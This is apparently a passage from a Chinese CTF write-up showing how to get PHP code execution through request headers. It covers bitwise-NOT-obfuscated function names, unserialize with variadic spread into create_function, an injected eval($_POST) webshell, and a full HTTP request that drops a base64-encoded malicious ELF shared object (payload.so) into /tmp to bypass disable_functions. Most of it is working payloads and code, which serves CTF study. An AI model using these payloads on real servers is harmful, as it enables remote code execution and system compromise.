    return f"[~{ss}][!%FF]("
"""
组成类似于system(pos(next(getallheaders())));即可
a=whoami
"""
while 1:
    a = input(":>").strip(")")
    aa = a.split("(")
    s = ""
    for each in aa[:-1]:
        s += one(each)
    s += ")" * (len(aa) - 1) + ";"
print(s)

# getallheaders (可以修改 ua 然后用 next 函数)

  • 我们添加头 a:3:{i:0;s:15:"create_function";i:1;s:0:"";i:2;s:19:"} eval ($_POST [1]);/*";}

然后查看一下

cmd=var_dump(next(getallheaders()));

image-20220119193022612

image-20220119201933025

image-20220119202005412

# unserialize

cmd=var_dump(unserialize(next(getallheaders())));

image-20220119193128853

  • unserialize 后获得一个数组,利用其 creatr_function

# 可变参数

image-20220119193815468

image-20220119193834236

测试

<?php
$a = ["asdas" , "asdad", "asdasd"];
$b = [546,54,5];
function add1(...$num){
    var_dump($num);
}
function add2($num){
    var_dump($num);
}
function add3($num1, $num2, $num3){
    var_dump($num1);
    var_dump($num2);
    var_dump($num3);
}
add1(...$a);
add1($a, $b);     // 每传进一个,相当于数组加一个值,数组下标加一
add2($a);         // 传进去一个数组
add2(...$a);      //... 传数组相当于把数组填参数,这里 a [0] 就作为 $num
add3(...$a);

image-20220119200314347

综上所述

  • 在参数列表中加... , 意思是第一个传入的作为 a [0],第二个作为 a [1],以此类推

  • 在传递参数的时候用就是将数组分开,将 a [0] 作为第一个参数传递,a [1] 作为第二个参数传递,以此类推

利用 create_function 来执行任意 php 代码,这里没有逗号,所以无法传入参数

利用 可变参数列表 进行绕过,即构造这样的函数,利用 数组将参数传入

cmd=var_dump(...unserialize(next(getallheaders())));

image-20220119200729887

# call_user_func

image-20220119201848930

将 var_dump 替换成 call_user_func 即可调用

cmd=call_user_func(...unserialize(next(getallheaders()))); );

image-20220119200850785

# 实战

<?php

$a = ["", '}eval($_POST[\'a\']);\\*'];

echo serialize($a);

//a:2:{i:0;s:0:"";i:1;s:21:"}eval($_POST['a']);\*";}

放在connection那里,这样就能用end取到了
cmd=create_function(...unserialize(end(getallheaders())));&a=phpinfo();
cmd=[~%9C%8D%9A%9E%8B%9A%A0%99%8A%91%9C%8B%96%90%91][!%FF](...[~%8A%91%8C%9A%8D%96%9E%93%96%85%9A][!%FF]([~%9A%91%9B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]())));&a=phpinfo();

image-20220119215200730

写下 payload.so, 注意请求头放在 Connection

POST / HTTP/1.1
Host: 1.14.71.254:28064
Content-Length: 22033
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://1.14.71.254:28064
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://1.14.71.254:28064/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: a:3:{i:0;s:15:"create_function";i:1;s:0:"";i:2;s:19:"}eval($_POST[1]);/*";}
cmd=[~%9C%9E%93%93%A0%8A%8C%9A%8D%A0%99%8A%91%9C][!%FF](...[~%8A%91%8C%9A%8D%96%9E%93%96%85%9A][!%FF]([~%9A%91%9B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]())));&1=$f=new+SplFileObject('php://filter/convert.base64-decode/resource=/tmp/payload.so',"w")%3b$f->fwrite("f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAgBAAAAAAAABAAAAAAAAAABg4AAAAAAAAAAAAAEAAOAALAEAAHgAdAAEAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAiAUAAAAAAACIBQAAAAAAAAAQAAAAAAAAAQAAAAUAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAAAACdAQAAAAAAAJ0BAAAAAAAAABAAAAAAAAABAAAABAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAEAAAAAAAAAEAAAAGAAAAEC4AAAAAAAAQPgAAAAAAABA%2bAAAAAAAAIAIAAAAAAAAoAgAAAAAAAAAQAAAAAAAAAgAAAAYAAAAgLgAAAAAAACA%2bAAAAAAAAID4AAAAAAADAAQAAAAAAAMABAAAAAAAACAAAAAAAAAAEAAAABAAAAKgCAAAAAAAAqAIAAAAAAACoAgAAAAAAACAAAAAAAAAAIAAAAAAAAAAIAAAAAAAAAAQAAAAEAAAAyAIAAAAAAADIAgAAAAAAAMgCAAAAAAAAJAAAAAAAAAAkAAAAAAAAAAQAAAAAAAAAU%2bV0ZAQAAACoAgAAAAAAAKgCAAAAAAAAqAIAAAAAAAAgAAAAAAAAACAAAAAAAAAACAAAAAAAAABQ5XRkBAAAABggAAAAAAAAGCAAAAAAAAAYIAAAAAAAADQAAAAAAAAANAAAAAAAAAAEAAAAAAAAAFHldGQGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAUuV0ZAQAAAAQLgAAAAAAABA%2bAAAAAAAAED4AAAAAAADwAQAAAAAAAPABAAAAAAAAAQAAAAAAAAAEAAAAEAAAAAUAAABHTlUAAgAAwAQAAAADAAAAAAAAAAQAAAAUAAAAAwAAAEdOVQAxKYbMHvRh0V6oA%2bhy2C5ZeqpTgAAAAAACAAAABwAAAAEAAAAGAAAAAAAAEAQAIgAHAAAACAAAAGMMfw81p1KAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAZgAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAQAAACAAAAAAAAAAAAAAAAAAAAAAAAAAbQAAABIAAAAAAAAAAAAAAAAAAAAAAAAALAAAACAAAAAAAAAAAAAAAAAAAAAAAAAARgAAACIAAAAAAAAAAAAAAAAAAAAAAAAAVQAAABIADgA5EQAAAAAAAAsAAAAAAAAAWwAAABIADgBEEQAAAAAAAEoAAAAAAAAAAF9fZ21vbl9zdGFydF9fAF9JVE1fZGVyZWdpc3RlclRNQ2xvbmVUYWJsZQBfSVRNX3JlZ2lzdGVyVE1DbG9uZVRhYmxlAF9fY3hhX2ZpbmFsaXplAGdjb252AGdjb252X2luaXQAc3lzdGVtAGV4aXQAbGliYy5zby42AEdMSUJDXzIuMi41AAAAAAACAAAAAgAAAAIAAQABAAAAAAAAAAEAAQByAAAAEAAAAAAAAAB1GmkJAAACAHwAAAAAAAAAED4AAAAAAAAIAAAAAAAAADARAAAAAAAAGD4AAAAAAAAIAAAAAAAAAPAQAAAAAAAAKEAAAAAAAAAIAAAAAAAAAChAAAAAAAAA4D8AAAAAAAAGAAAAAQAAAAAAAAAAAAAA6D8AAAAAAAAGAAAAAwAAAAAAAAAAAAAA8D8AAAAAAAAGAAAABQAAAAAAAAAAAAAA%2bD8AAAAAAAAGAAAABgAAAAAAAAAAAAAAGEAAAAAAAAAHAAAAAgAAAAAAAAAAAAAAIEAAAAAAAAAHAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPMPHvpIg%2bwISIsF2S8AAEiFwHQC/9BIg8QIwwAAAAAA/zXiLwAA8v8l4y8AAA8fAPMPHvpoAAAAAPLp4f///5DzDx76aAEAAADy6dH///%2bQ8w8e%2bvL/JZ0vAAAPH0QAAPMPHvry/yWtLwAADx9EAADzDx768v8lpS8AAA8fRAAASI09qS8AAEiNBaIvAABIOfh0FUiLBUYvAABIhcB0Cf/gDx%2bAAAAAAMMPH4AAAAAASI09eS8AAEiNNXIvAABIKf5IifBIwe4/SMH4A0gBxkjR/nQUSIsFFS8AAEiFwHQI/%2bBmDx9EAADDDx%2bAAAAAAPMPHvqAPTUvAAAAdStVSIM98i4AAABIieV0DEiLPRYvAADoOf///%2bhk////xgUNLwAAAV3DDx8Aww8fgAAAAADzDx766Xf////zDx76VUiJ5ZBdw/MPHvpVSInlTI2cJAAA//9IgewAEAAASIMMJABMOdx170iD7BBkSIsEJSgAAABIiUX4McBIjT2BDgAA6Nz%2b//%2b/AAAAAOji/v//AADzDx76SIPsCEiDxAjDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAvcmVhZGZsYWcgPiAvdG1wL2ZsYWcAAAABGwM7NAAAAAUAAAAI8P//UAAAADjw//94AAAASPD//5AAAAAh8f//qAAAACzx///IAAAAAAAAABQAAAAAAAAAAXpSAAF4EAEbDAcIkAEAACQAAAAcAAAAsO///zAAAAAADhBGDhhKDwt3CIAAPxo6KjMkIgAAAAAUAAAARAAAALjv//8QAAAAAAAAAAAAAAAUAAAAXAAAALDv//8gAAAAAAAAAAAAAAAcAAAAdAAAAHHw//8LAAAAAEUOEIYCQw0GQgwHCAAAABgAAACUAAAAXPD//0oAAAAARQ4QhgJDDQYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA